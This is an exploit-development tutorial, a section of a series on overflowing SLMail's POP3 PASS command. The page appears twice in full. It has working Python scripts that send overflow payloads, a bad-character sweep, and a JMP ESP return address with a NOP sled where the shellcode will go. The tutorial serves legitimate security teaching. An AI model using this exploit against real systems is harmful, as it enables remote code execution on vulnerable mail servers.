./tut/exp/slmail/coerce :: Digital Coercion
« prev :: next »
In the last section, we asserted control over the EIP
register. This allows us to redirect the flow of control to a place of our choosing… But will we be able to send it somewhere useful? In this section, we’ll explore our options and see if we can find a safe place to inject our shellcode.
Getting Situated
Let’s take another look at the registers from the final crash in the last section:

Notice how the ESP
register (the stack pointer
) is pointing at ASCII "CCCC...
? In one of our earlier crashes ESP
pointed to ASCII "BBBB...
:

It seems pretty clear that ESP
is pointing to part of the payload sent by the script. Let’s see if we can find where ESP
begins. First, I click the ESP
register, then I right-click and select “Follow in Dump”:

This takes me to the memory location stored in the ESP
register, which happens to align with the beginning of the C’s:

Excellent! If we place our shellcode immediately after the EIP
overwrite bytes in the payload, we can execute a JMP ESP
to execute the shellcode (assuming we can find a reliable JMP ESP
– more on this later). And since the total payload size is 4,089 bytes, and the C’s start at byte 2,610 (EIP
offset + 4 bytes), there should be 1,479 bytes for our shellcode, right?
Well… Not necessarily. Just because 4,089 bytes are transferred to the target doesn’t mean all 4,089 bytes are preserved in-memory. In fact, taking a closer look at the stack dump, we can see the end of the C’s comes much sooner than expected. The beginning of the C’s is at memory location 0182A128
, yet the C’s end the byte before 0182A2D6
:

Subtracting the former from the latter, we come up with 1AE
, which equals 430
in base-10. In other words, instead of our predicted 1,479 bytes, we’ve only got 430 bytes of space for our shellcode. To be honest, this should be more than enough for most purposes. We could likely find a way to redirect flow to the start of the A
section, which (at a glance) looks to be at least twice the size of the C
section, but in order to avoid making this any more complicated than it needs to be, we’ll stick to the C’s.
I make a copy of slmail_bof_8.py
into slmail_bof_9.py
and update the script to make note of the maximum shellcode size:
...
# Exploit details.
MAXIMUM_PAYLOAD = 4089
MAXIMUM_SHELLCODE = 430
EIP_OFFSET = 2606
PAYLOAD = b""
PAYLOAD += b"A" * EIP_OFFSET
PAYLOAD += b"B" * 4 # EIP overwrite.
PAYLOAD += b"C" * MAXIMUM_SHELLCODE
PAYLOAD += b"D" * (MAXIMUM_PAYLOAD - len(PAYLOAD))
OVERFLOW = False
...
The Good, the Bad, and the Ugly
Before we go any further, we should take a moment to scan for “bad characters,” specific characters that could break our payload or cause unpredictable behavior. For example, if \x00
is used to designate the end of a string in-memory, then an errant \x00
halfway through your payload would cause the remainer to get cut off, resulting in failed exploitation.
To find bad characters, we’re going to send all 256 possible single-byte characters to the client, over and over, each time removing any bad characters we find, until no more are found. First we’ll clone slmail_bof_9.py
into slmail_bof_10.py
and modify it to include the character-sweep in the payload location:
#!/usr/bin/env python3.7
"""SLMail BoF PoC: Scan for bad characters."""
import socket
# Socket information.
TARGET_ADDR = "10.10.10.101"
TARGET_PORT = 110
SOCKET_TIMEOUT = 10
# Exploit details.
MAXIMUM_PAYLOAD = 4089
MAXIMUM_SHELLCODE = 430
EIP_OFFSET = 2606
BAD_CHARS = b""
# Bad character sweep.
HEX_CHARS = "0123456789ABCDEF"
SWEEP = b"".join(
BYTE
for BYTE in [
bytes.fromhex(f"{A}{B}") for A in HEX_CHARS for B in HEX_CHARS
]
if BYTE not in BAD_CHARS
)
PAYLOAD = b""
PAYLOAD += b"A" * EIP_OFFSET
PAYLOAD += b"B" * 4 # EIP overwrite.
PAYLOAD += SWEEP
PAYLOAD += b"C" * (MAXIMUM_SHELLCODE - len(SWEEP))
PAYLOAD += b"D" * (MAXIMUM_PAYLOAD - len(PAYLOAD))
OVERFLOW = False
try:
print("[*] Connecting...")
SOCKET = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
SOCKET.settimeout(SOCKET_TIMEOUT)
SOCKET.connect((TARGET_ADDR, TARGET_PORT))
SOCKET.recv(1024)
SOCKET.send(b"USER test\r\n")
SOCKET.recv(1024)
print("[<] Sending payload...")
SOCKET.send(b"PASS " + PAYLOAD + b"\r\n")
OVERFLOW = not SOCKET.recv(1024)
SOCKET.send(b"QUIT\r\n")
except (socket.timeout, ConnectionResetError):
OVERFLOW = True
except ConnectionRefusedError:
print("[!] Connection refused. Is the server running?")
finally:
SOCKET.close()
print("[!] BoF Success!" if OVERFLOW else "[!] BoF Failed.")
I restart SLMail
and run the script. The service crashes, and I follow ESP
in the dump as before:

It seems that none of the bytes survived: the payload was truncated after the four B’s of the EIP
Overwrite. This isn’t surprising: the first byte that followed was \x00
, which (as suggested earlier) designates the end of the string in memory, causing all following bytes to be lost.
I add \x00
to the BAD_CHARS
variable, restart SLMail
, and run the script again. This time, a few characters get through, but then things break following \x09
:

It appears as if \x0A
breaks the payload as well. I restart SLMail
, add \x0A
to the BAD_CHARS
list, and run the script again. I do this repeatedly, seeking out any characters that cause aberrant behavior, until all bad characters are removed. In the end, I determine that there are only three bad characters: \x00
, \x0A
, and \x0D
. This makes sense, because while \x00
terminates strings, \x0A
and \x0D
(\n
and \r
, respectively) are sent at the end of POP3 commands. Where \x00
and \x0A
truncate all following bytes, \x0D
is simply removed from the payload, as if it had never been sent, while the remainder of the payload stays intact.
Knowing which characters are “forbidden” in our payload will enable us to avoid accidental errors and frustrations down the line.
Look Before You Leap
All our work so far won’t do us any good if we can’t redirect the flow of execution to the start of the C’s. We have control over EIP
, but this is simply a pointer to a memory location, and (in case you haven’t noticed), the memory location is inconsistent between crashes. (Look back at the two screenshots at the top of this post: In the first, ESP
points at 0182A128
, whereas in the second, ESP
points at 0236A128
.) For this reason, we can’t simply set EIP
to the memory address of ESP
. Instead, we’ll have to find another way to redirect flow to ESP
.
Fortunately, the JMP ESP
command will do exactly that. If we can find a JMP ESP
with a predictable memory location, we can simply set EIP
to that location, and control will redirect to ESP
.
To find a good candidate, we’ll use the Mona
module. To start with, type !mona modules
in the Immunity command-line:

We want to find a module that doesn’t have Address-Space Layout Randomization (ASLR) or any of the other protections that could prevent our exploitation attempt. Looking at the list, a few stand out:
Module
ASLR
OS Dll
Memory Location
ARM.dll
False
False
0x001C0000 to 0x001EA000
Openc32.dll
False
True
0x10000000 to 0x10007000
SLmail.exe
False
False
0x00400000 to 0x0045C000
SLMFC.DLL
False
True
0x5F400000 to 0x5F4F4000
Which of these should we investigate further? Well, consider the following:
- The value of
EIP
is overwritten by part of the payload.
- The
\x00
character breaks the payload.
- The
ARM.dll
, Openc32.dll
and SLmail.exe
modules all have \x00
in the first two bytes of their memory addresses.
SLMFC.DLL
has \x5F
and \x40
in the first two bytes, neither of which are forbidden characters.
Considering our options, it looks like SLMFC.DLL
is our only viable option. Let’s check and see if we can find a JMP ESP
somewhere in the module.
Unfortunately, searching for a JMP ESP
in executable memory isn’t as easy as searching through a text file. To aid the process, we’ll be using another part of the Metasploit
framework: msf-metasm_shell
. The script will translate assembly language into binary code, which we can use to find our jump:
root@haxys:~/ShareDrive/BoF-SLMail# msf-metasm_shell
type "exit" or "quit" to quit
use ";" or "\n" for newline
type "file <file>" to parse a GAS assembler source file
metasm > jmp esp
"\xff\xe4"
According to msf-metasm_shell
, JMP ESP
translates to \xFF\xE4
in binary. Returning to Immunity, I once again employ Mona
to help me find what I seek:

The !mona find -s "\xFF\xE4" -m slfmc.dll
command tells Mona
to search through slfmc.dll
to see if it can find the JMP ESP
instruction. Mona
returns a list of memory locations where the JMP ESP
was found. The first location is at 0x5F4A358F
. Since this memory location contains no bad characters, it should be a safe location for use in our exploit.
I make a clone of slmail_bof_10.py
into slmail_bof_11.py
and update it with the new information:
...
# Exploit details.
MAXIMUM_PAYLOAD = 4089
MAXIMUM_SHELLCODE = 430
EIP_OFFSET = 2606
BAD_CHARS = b"\x00\x0A\x0D"
JMP_ESP = b"\x8F\x35\x4A\x5F" # JMP ESP in slmfc.dll. (0x5F4A358F)
# Construct payload.
PAYLOAD = b""
PAYLOAD += b"A" * EIP_OFFSET
PAYLOAD += JMP_ESP # Overwrite EIP with JMP ESP memory location.
PAYLOAD += b"\x90" * MAXIMUM_SHELLCODE # NOP Sled for PoC.
PAYLOAD += b"D" * (MAXIMUM_PAYLOAD - len(PAYLOAD))
OVERFLOW = False
...
There are a couple things to take note of:
- The
JMP_ESP
variable stores the memory location of the JMP ESP
we discovered. However, due to endianness, the memory location was reversed from 0x5F4A358F
to \x8F\x35\x4A\x5F
.
- I added 430 NOPs (
\x90
) in place of the shellcode, so I can ensure that I control the flow of execution. This is called a NOP Sled
.
A Note About NOPs
The \x90
character is interpreted by the computer as the NOP instruction, which does nothing but pass execution on to the following command. A NOP Sled
or NOP Slide
is a long sequence of NOPs chained together to create a section of memory which simply routes the flow of execution forward, like sledding down a hill, into the commands that follow. They’ve been a popular tool in exploit development for many reasons, which are mostly beyond the scope of this tutorial. If you’d like to learn more, read the Wikipedia pages I linked to earlier in this paragraph.
Making the Jump
Before I can test this script, I’ll need to restart SLMail
, then set a breakpoint at the location of the JMP ESP
. The following instructions will explain this process.
Once SLMail
has restarted, I right-click the top-left frame of Immunity, then click Go To > Expression (or hit Ctrl+G
):

In the pop-up box, I enter the memory location of the JMP ESP
instruction:

Then I hit Enter
. Immunity might not take you to the right memory address right away; feel free to repeat the “Goto Expression” process again until it takes you to the correct address.
With the correct address loaded, I right-click the address, then click Breakpoint > Toggle (or hit F2
). This tells the system to pause when this memory address is executed.

Finally, I execute the PoC script. The buffer overflow is triggered, but the PoC successfully redirects the flow to the JMP ESP
breakpoint, pausing script execution:

Clicking Debug > Step Into (or hitting F7
) allows me to proceed to the next step in the flow of execution:

If all goes well, execution will be redirected to the beginning of the NOP
sled:

Excellent! Hitting F7
a few more times shows that the program is executing each NOP
in turn. We have now successfully redirected the flow of execution to the start of our SHELLCODE
section, and we’ve observed our injected NOP Sled
being executed. This demonstrates that an RCE exploit might be possible, but a NOP Sled
isn’t terribly impressive…
The End is Nigh
We’re almost through with our first Buffer Overflow exploit! How exciting. In the next section, we’ll tackle the process of developing useful shellcode for both Proof-of-Concept and “weaponized” exploits.
« prev :: next »
Read other posts
« prev :: next »
In the last section, we asserted control over the EIP
register. This allows us to redirect the flow of control to a place of our choosing… But will we be able to send it somewhere useful? In this section, we’ll explore our options and see if we can find a safe place to inject our shellcode.
Getting Situated
Let’s take another look at the registers from the final crash in the last section:
Notice how the ESP
register (the stack pointer
) is pointing at ASCII "CCCC...
? In one of our earlier crashes ESP
pointed to ASCII "BBBB...
:
It seems pretty clear that ESP
is pointing to part of the payload sent by the script. Let’s see if we can find where ESP
begins. First, I click the ESP
register, then I right-click and select “Follow in Dump”:
This takes me to the memory location stored in the ESP
register, which happens to align with the beginning of the C’s:
Excellent! If we place our shellcode immediately after the EIP
overwrite bytes in the payload, we can execute a JMP ESP
to execute the shellcode (assuming we can find a reliable JMP ESP
– more on this later). And since the total payload size is 4,089 bytes, and the C’s start at byte 2,610 (EIP
offset + 4 bytes), there should be 1,479 bytes for our shellcode, right?
Well… Not necessarily. Just because 4,089 bytes are transferred to the target doesn’t mean all 4,089 bytes are preserved in-memory. In fact, taking a closer look at the stack dump, we can see the end of the C’s comes much sooner than expected. The beginning of the C’s is at memory location 0182A128
, yet the C’s end the byte before 0182A2D6
:
Subtracting the former from the latter, we come up with 1AE
, which equals 430
in base-10. In other words, instead of our predicted 1,479 bytes, we’ve only got 430 bytes of space for our shellcode. To be honest, this should be more than enough for most purposes. We could likely find a way to redirect flow to the start of the A
section, which (at a glance) looks to be at least twice the size of the C
section, but in order to avoid making this any more complicated than it needs to be, we’ll stick to the C’s.
I make a copy of slmail_bof_8.py
into slmail_bof_9.py
and update the script to make note of the maximum shellcode size:
...
# Exploit details.
MAXIMUM_PAYLOAD = 4089
MAXIMUM_SHELLCODE = 430
EIP_OFFSET = 2606
PAYLOAD = b""
PAYLOAD += b"A" * EIP_OFFSET
PAYLOAD += b"B" * 4 # EIP overwrite.
PAYLOAD += b"C" * MAXIMUM_SHELLCODE
PAYLOAD += b"D" * (MAXIMUM_PAYLOAD - len(PAYLOAD))
OVERFLOW = False
...
The Good, the Bad, and the Ugly
Before we go any further, we should take a moment to scan for “bad characters,” specific characters that could break our payload or cause unpredictable behavior. For example, if \x00
is used to designate the end of a string in-memory, then an errant \x00
halfway through your payload would cause the remainer to get cut off, resulting in failed exploitation.
To find bad characters, we’re going to send all 256 possible single-byte characters to the client, over and over, each time removing any bad characters we find, until no more are found. First we’ll clone slmail_bof_9.py
into slmail_bof_10.py
and modify it to include the character-sweep in the payload location:
#!/usr/bin/env python3.7
"""SLMail BoF PoC: Scan for bad characters."""
import socket
# Socket information.
TARGET_ADDR = "10.10.10.101"
TARGET_PORT = 110
SOCKET_TIMEOUT = 10
# Exploit details.
MAXIMUM_PAYLOAD = 4089
MAXIMUM_SHELLCODE = 430
EIP_OFFSET = 2606
BAD_CHARS = b""
# Bad character sweep.
HEX_CHARS = "0123456789ABCDEF"
SWEEP = b"".join(
BYTE
for BYTE in [
bytes.fromhex(f"{A}{B}") for A in HEX_CHARS for B in HEX_CHARS
]
if BYTE not in BAD_CHARS
)
PAYLOAD = b""
PAYLOAD += b"A" * EIP_OFFSET
PAYLOAD += b"B" * 4 # EIP overwrite.
PAYLOAD += SWEEP
PAYLOAD += b"C" * (MAXIMUM_SHELLCODE - len(SWEEP))
PAYLOAD += b"D" * (MAXIMUM_PAYLOAD - len(PAYLOAD))
OVERFLOW = False
try:
print("[*] Connecting...")
SOCKET = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
SOCKET.settimeout(SOCKET_TIMEOUT)
SOCKET.connect((TARGET_ADDR, TARGET_PORT))
SOCKET.recv(1024)
SOCKET.send(b"USER test\r\n")
SOCKET.recv(1024)
print("[<] Sending payload...")
SOCKET.send(b"PASS " + PAYLOAD + b"\r\n")
OVERFLOW = not SOCKET.recv(1024)
SOCKET.send(b"QUIT\r\n")
except (socket.timeout, ConnectionResetError):
OVERFLOW = True
except ConnectionRefusedError:
print("[!] Connection refused. Is the server running?")
finally:
SOCKET.close()
print("[!] BoF Success!" if OVERFLOW else "[!] BoF Failed.")
I restart SLMail
and run the script. The service crashes, and I follow ESP
in the dump as before:
It seems that none of the bytes survived: the payload was truncated after the four B’s of the EIP
Overwrite. This isn’t surprising: the first byte that followed was \x00
, which (as suggested earlier) designates the end of the string in memory, causing all following bytes to be lost.
I add \x00
to the BAD_CHARS
variable, restart SLMail
, and run the script again. This time, a few characters get through, but then things break following \x09
:
It appears as if \x0A
breaks the payload as well. I restart SLMail
, add \x0A
to the BAD_CHARS
list, and run the script again. I do this repeatedly, seeking out any characters that cause aberrant behavior, until all bad characters are removed. In the end, I determine that there are only three bad characters: \x00
, \x0A
, and \x0D
. This makes sense, because while \x00
terminates strings, \x0A
and \x0D
(\n
and \r
, respectively) are sent at the end of POP3 commands. Where \x00
and \x0A
truncate all following bytes, \x0D
is simply removed from the payload, as if it had never been sent, while the remainder of the payload stays intact.
Knowing which characters are “forbidden” in our payload will enable us to avoid accidental errors and frustrations down the line.
Look Before You Leap
All our work so far won’t do us any good if we can’t redirect the flow of execution to the start of the C’s. We have control over EIP
, but this is simply a pointer to a memory location, and (in case you haven’t noticed), the memory location is inconsistent between crashes. (Look back at the two screenshots at the top of this post: In the first, ESP
points at 0182A128
, whereas in the second, ESP
points at 0236A128
.) For this reason, we can’t simply set EIP
to the memory address of ESP
. Instead, we’ll have to find another way to redirect flow to ESP
.
Fortunately, the JMP ESP
command will do exactly that. If we can find a JMP ESP
with a predictable memory location, we can simply set EIP
to that location, and control will redirect to ESP
.
To find a good candidate, we’ll use the Mona
module. To start with, type !mona modules
in the Immunity command-line:
We want to find a module that doesn’t have Address-Space Layout Randomization (ASLR) or any of the other protections that could prevent our exploitation attempt. Looking at the list, a few stand out:
Module | ASLR | OS Dll | Memory Location |
---|---|---|---|
ARM.dll | False | False | 0x001C0000 to 0x001EA000 |
Openc32.dll | False | True | 0x10000000 to 0x10007000 |
SLmail.exe | False | False | 0x00400000 to 0x0045C000 |
SLMFC.DLL | False | True | 0x5F400000 to 0x5F4F4000 |
Which of these should we investigate further? Well, consider the following:
- The value of
EIP
is overwritten by part of the payload. - The
\x00
character breaks the payload. - The
ARM.dll
,Openc32.dll
andSLmail.exe
modules all have\x00
in the first two bytes of their memory addresses. SLMFC.DLL
has\x5F
and\x40
in the first two bytes, neither of which are forbidden characters.
Considering our options, it looks like SLMFC.DLL
is our only viable option. Let’s check and see if we can find a JMP ESP
somewhere in the module.
Unfortunately, searching for a JMP ESP
in executable memory isn’t as easy as searching through a text file. To aid the process, we’ll be using another part of the Metasploit
framework: msf-metasm_shell
. The script will translate assembly language into binary code, which we can use to find our jump:
root@haxys:~/ShareDrive/BoF-SLMail# msf-metasm_shell
type "exit" or "quit" to quit
use ";" or "\n" for newline
type "file <file>" to parse a GAS assembler source file
metasm > jmp esp
"\xff\xe4"
According to msf-metasm_shell
, JMP ESP
translates to \xFF\xE4
in binary. Returning to Immunity, I once again employ Mona
to help me find what I seek:
The !mona find -s "\xFF\xE4" -m slfmc.dll
command tells Mona
to search through slfmc.dll
to see if it can find the JMP ESP
instruction. Mona
returns a list of memory locations where the JMP ESP
was found. The first location is at 0x5F4A358F
. Since this memory location contains no bad characters, it should be a safe location for use in our exploit.
I make a clone of slmail_bof_10.py
into slmail_bof_11.py
and update it with the new information:
...
# Exploit details.
MAXIMUM_PAYLOAD = 4089
MAXIMUM_SHELLCODE = 430
EIP_OFFSET = 2606
BAD_CHARS = b"\x00\x0A\x0D"
JMP_ESP = b"\x8F\x35\x4A\x5F" # JMP ESP in slmfc.dll. (0x5F4A358F)
# Construct payload.
PAYLOAD = b""
PAYLOAD += b"A" * EIP_OFFSET
PAYLOAD += JMP_ESP # Overwrite EIP with JMP ESP memory location.
PAYLOAD += b"\x90" * MAXIMUM_SHELLCODE # NOP Sled for PoC.
PAYLOAD += b"D" * (MAXIMUM_PAYLOAD - len(PAYLOAD))
OVERFLOW = False
...
There are a couple things to take note of:
- The
JMP_ESP
variable stores the memory location of theJMP ESP
we discovered. However, due to endianness, the memory location was reversed from0x5F4A358F
to\x8F\x35\x4A\x5F
. - I added 430 NOPs (
\x90
) in place of the shellcode, so I can ensure that I control the flow of execution. This is called aNOP Sled
.
A Note About NOPs
The \x90
character is interpreted by the computer as the NOP instruction, which does nothing but pass execution on to the following command. A NOP Sled
or NOP Slide
is a long sequence of NOPs chained together to create a section of memory which simply routes the flow of execution forward, like sledding down a hill, into the commands that follow. They’ve been a popular tool in exploit development for many reasons, which are mostly beyond the scope of this tutorial. If you’d like to learn more, read the Wikipedia pages I linked to earlier in this paragraph.
Making the Jump
Before I can test this script, I’ll need to restart SLMail
, then set a breakpoint at the location of the JMP ESP
. The following instructions will explain this process.
Once SLMail
has restarted, I right-click the top-left frame of Immunity, then click Go To > Expression (or hit Ctrl+G
):
In the pop-up box, I enter the memory location of the JMP ESP
instruction:
Then I hit Enter
. Immunity might not take you to the right memory address right away; feel free to repeat the “Goto Expression” process again until it takes you to the correct address.
With the correct address loaded, I right-click the address, then click Breakpoint > Toggle (or hit F2
). This tells the system to pause when this memory address is executed.
Finally, I execute the PoC script. The buffer overflow is triggered, but the PoC successfully redirects the flow to the JMP ESP
breakpoint, pausing script execution:
Clicking Debug > Step Into (or hitting F7
) allows me to proceed to the next step in the flow of execution:
If all goes well, execution will be redirected to the beginning of the NOP
sled:
Excellent! Hitting F7
a few more times shows that the program is executing each NOP
in turn. We have now successfully redirected the flow of execution to the start of our SHELLCODE
section, and we’ve observed our injected NOP Sled
being executed. This demonstrates that an RCE exploit might be possible, but a NOP Sled
isn’t terribly impressive…
The End is Nigh
We’re almost through with our first Buffer Overflow exploit! How exciting. In the next section, we’ll tackle the process of developing useful shellcode for both Proof-of-Concept and “weaponized” exploits.